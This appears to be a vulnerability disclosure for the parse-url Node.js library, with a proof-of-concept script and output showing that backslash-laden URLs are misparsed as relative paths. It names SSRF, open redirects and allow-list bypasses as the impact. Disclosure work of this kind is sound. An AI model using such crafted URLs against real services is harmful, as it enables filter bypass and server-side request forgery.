✍️ Description

parse-url mishandles certain uses of backslash such as https:/\ and interprets the URI as a relative path. Browsers accept backslashes after the protocol, and treat it as a normal slash, while parse-url sees it as a relative path. Which will lead to SSRF attacks, open redirects, or other undesired behavior.

Similar to CVE-2021-27515, CVE-2021-27516

🕵️‍♂️ Proof of Concept

1. Create the following PoC file:

// poc.js
var parseUrl = require("parse-url")
var u= parseUrl("https:/\/\/\github.com/foo/bar")
console.log(u)

2. Execute the following commands in another terminal:

npm i parse-url # Install affected module
node poc.js #  Run the PoC

3. Check the Output:

{
  protocols: [ 'https' ],
  protocol: 'https',
  port: null,
  resource: '',
  user: '',
  pathname: '/github.com/foo/bar',
  hash: '',
  search: '',
  href: 'https:///github.com/foo/bar',
  query: [Object: null prototype] {}
}

💥 Impact

Depending on library usage and attacker intent, impacts may include allow/block list bypasses, SSRF attacks, open redirects, or other undesired behavior.